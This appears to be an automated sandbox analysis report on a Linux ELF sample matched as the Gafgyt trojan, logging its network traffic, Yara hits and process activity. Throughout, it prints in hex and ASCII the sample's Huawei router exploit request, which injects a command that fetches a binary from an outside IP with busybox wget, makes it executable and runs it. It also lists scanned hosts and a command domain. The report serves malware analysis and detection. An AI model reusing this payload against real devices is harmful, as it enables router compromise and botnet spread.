65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 36 2e 32 32 34 2e 32 34 2e 32 34 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 156.224.24.249 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 36 2e 32 32 34 2e 32 34 2e 32 34 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 156.224.24.249 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 36 2e 32 32 34 2e 32 34 2e 32 34 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 156.224.24.249 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 36 2e 32 32 34 2e 32 34 2e 32 34 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 156.224.24.249 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 36 2e 32 32 34 2e 32 34 2e 32 34 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 156.224.24.249 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 36 2e 32 32 34 2e 32 34 2e 32 34 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 156.224.24.249 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown TCP traffic detected without corresponding DNS query: 108.23.15.161
Source: unknown TCP traffic detected without corresponding DNS query: 41.165.92.99
Source: unknown TCP traffic detected without corresponding DNS query: 104.153.167.161
Source: unknown TCP traffic detected without corresponding DNS query: 41.42.145.5
Source: unknown TCP traffic detected without corresponding DNS query: 41.20.140.65
Source: unknown TCP traffic detected without corresponding DNS query: 41.64.209.101
Source: unknown TCP traffic detected without corresponding DNS query: 197.140.236.98
Source: unknown TCP traffic detected without corresponding DNS query: 157.244.59.153
Source: unknown TCP traffic detected without corresponding DNS query: 157.97.202.233
Source: unknown TCP traffic detected without corresponding DNS query: 197.213.2.53
Source: unknown TCP traffic detected without corresponding DNS query: 41.108.8.168
Source: unknown TCP traffic detected without corresponding DNS query: 151.205.68.245
Source: unknown TCP traffic detected without corresponding DNS query: 197.255.112.187
Source: unknown TCP traffic detected without corresponding DNS query: 157.160.174.21
Source: unknown TCP traffic detected without corresponding DNS query: 197.253.197.212
Source: unknown TCP traffic detected without corresponding DNS query: 132.62.148.240
Source: unknown TCP traffic detected without corresponding DNS query: 12.57.136.99
Source: unknown TCP traffic detected without corresponding DNS query: 186.31.201.229
Source: unknown TCP traffic detected without corresponding DNS query: 157.175.42.37
Source: unknown TCP traffic detected without corresponding DNS query: 197.202.60.226
Source: unknown TCP traffic detected without corresponding DNS query: 41.64.226.37
Source: unknown TCP traffic detected without corresponding DNS query: 197.26.253.120
Source: unknown TCP traffic detected without corresponding DNS query: 197.113.57.36
Source: unknown TCP traffic detected without corresponding DNS query: 197.82.51.24
Source: unknown TCP traffic detected without corresponding DNS query: 57.109.182.87
Source: unknown TCP traffic detected without corresponding DNS query: 197.167.145.206
Source: unknown TCP traffic detected without corresponding DNS query: 197.227.157.64
Source: unknown TCP traffic detected without corresponding DNS query: 41.179.174.37
Source: unknown TCP traffic detected without corresponding DNS query: 197.85.238.20
Source: unknown TCP traffic detected without corresponding DNS query: 73.165.229.133
Source: unknown TCP traffic detected without corresponding DNS query: 197.154.6.95
Source: unknown TCP traffic detected without corresponding DNS query: 41.194.99.37
Source: unknown TCP traffic detected without corresponding DNS query: 157.166.106.157
Source: unknown TCP traffic detected without corresponding DNS query: 41.161.169.80
Source: unknown TCP traffic detected without corresponding DNS query: 41.88.149.180
Source: unknown TCP traffic detected without corresponding DNS query: 197.25.122.189
Source: unknown TCP traffic detected without corresponding DNS query: 157.91.173.234
Source: unknown TCP traffic detected without corresponding DNS query: 157.53.184.138
Source: unknown TCP traffic detected without corresponding DNS query: 157.26.172.56
Source: unknown TCP traffic detected without corresponding DNS query: 157.204.227.45
Source: unknown TCP traffic detected without corresponding DNS query: 157.15.82.229
Source: unknown TCP traffic detected without corresponding DNS query: 157.251.194.205
Source: unknown TCP traffic detected without corresponding DNS query: 79.178.176.109
Source: unknown TCP traffic detected without corresponding DNS query: 197.199.28.116
Source: unknown TCP traffic detected without corresponding DNS query: 197.255.52.105
Source: unknown TCP traffic detected without corresponding DNS query: 41.13.33.224
Source: unknown TCP traffic detected without corresponding DNS query: 41.223.156.180
Source: unknown TCP traffic detected without corresponding DNS query: 182.83.22.166
Source: unknown TCP traffic detected without corresponding DNS query: 197.34.53.56
Source: lD25Z9LfKe.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: lD25Z9LfKe.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: unknown HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 36 2e 32 32 34 2e 32 34 2e 32 34 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 156.224.24.249 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: unknown DNS traffic detected: queries for: j.xnyidc.top

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: lD25Z9LfKe.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6224.1.00007effc4001000.00007effc4011000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: lD25Z9LfKe.elf PID: 6224, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Yara signature match
Source: lD25Z9LfKe.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6224.1.00007effc4001000.00007effc4011000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: lD25Z9LfKe.elf PID: 6224, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 156.224.24.249 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample String containing 'busybox' found: HTTP/1.1 200 OKarmarm7mipsmipselx86_64sh4ppcm68k<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 156.224.24.249 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Source: Initial sample String containing 'busybox' found: bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: f%s:%dwebservbinbin/busyboxbin/watchdogbin/systemd/bin/busybox/bin/watchdog/bin/systemd
Source: classification engine Classification label: mal92.troj.linELF@0/0@2/0

Persistence and Installation Behavior
barindex
Sets full permissions to files and/or directories
Source: /bin/sh (PID: 6231) Chmod executable with 777: /usr/bin/chmod -> chmod 777 bin/watchdog Jump to behavior
Executes the "mkdir" command used to create folders
Source: /bin/sh (PID: 6229) Mkdir executable: /usr/bin/mkdir -> mkdir bin Jump to behavior
Executes the "chmod" command used to modify permissions
Source: /bin/sh (PID: 6231) Chmod executable: /usr/bin/chmod -> chmod 777 bin/watchdog Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/lD25Z9LfKe.elf (PID: 6234) File opened: /proc/6236/cmdline Jump to behavior
Source: /tmp/lD25Z9LfKe.elf (PID: 6234) File opened: /proc/1582/cmdline Jump to behavior
Source: /tmp/lD25Z9LfKe.elf (PID: 6234) File opened: /proc/3088/cmdline Jump to behavior
Source: /tmp/lD25Z9LfKe.elf (PID: 6234) File opened: /proc/230/cmdline Jump to behavior
Source: /tmp/lD25Z9LfKe.elf (PID: 6234) File opened: /proc/110/cmdline Jump to behavior
Source: /tmp/lD25Z9LfKe.elf (PID: 6234) File opened: /proc/231/cmdline Jump to behavior
Source: /tmp/lD25Z9LfKe.elf (PID: 6234) File opened: /proc/111/cmdline Jump to behavior
Source: /tmp/lD25Z9LfKe.elf (PID: 6234) File opened: /proc/232/cmdline Jump to behavior
Source: /tmp/lD25Z9LfKe.elf (PID: 6234) File opened: /proc/1579/cmdline Jump to behavior
Source: /tmp/lD25Z9LfKe.elf (PID: 6234) File opened: /proc/112/cmdline Jump to behavior
Source: /tmp/lD25Z9LfKe.elf (PID: 6234) File opened: /proc/233/cmdline Jump to behavior
Source: /tmp/lD25Z9LfKe.elf (PID: 6234) File opened: /proc/1699/cmdline Jump to behavior
Source: /tmp/lD25Z9LfKe.elf (PID: 6234) File opened: /proc/113/cmdline Jump to behavior
